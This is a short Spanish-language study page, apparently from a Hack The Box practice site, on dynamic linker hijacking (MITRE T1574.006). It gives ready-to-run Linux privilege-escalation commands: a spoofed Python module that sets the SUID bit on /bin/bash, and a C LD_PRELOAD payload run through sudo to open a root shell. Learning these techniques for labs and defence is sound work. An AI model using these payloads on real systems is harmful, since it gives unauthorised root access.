T1574.006

Secuestro del enlazador dinámico

Subtécnica de T1574 Secuestro del flujo de ejecución ↗

Hacer que un programa privilegiado cargue tu librería (LD_PRELOAD, rutas de búsqueda o módulos de Python).

Cómo aparece en Hack The Box

Mira con ldd o strace qué librerías carga el binario y desde dónde: si alguna ruta es escribible, o si un script de root importa un módulo de una carpeta tuya, tienes root.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Escalada de privilegios en Linux › Explotación

Módulo de Python suplantado
echo 'import os; os.system("chmod u+s /bin/bash")' > /ruta/del/script/random.py

Si sudo ejecuta un script de Python que importa random y puedes escribir en su carpeta (o en una ruta de sys.path anterior).

LD_PRELOAD con sudo (env_keep+=LD_PRELOAD)
cat > /tmp/x.c << 'FIN'
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
FIN
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so programa_permitido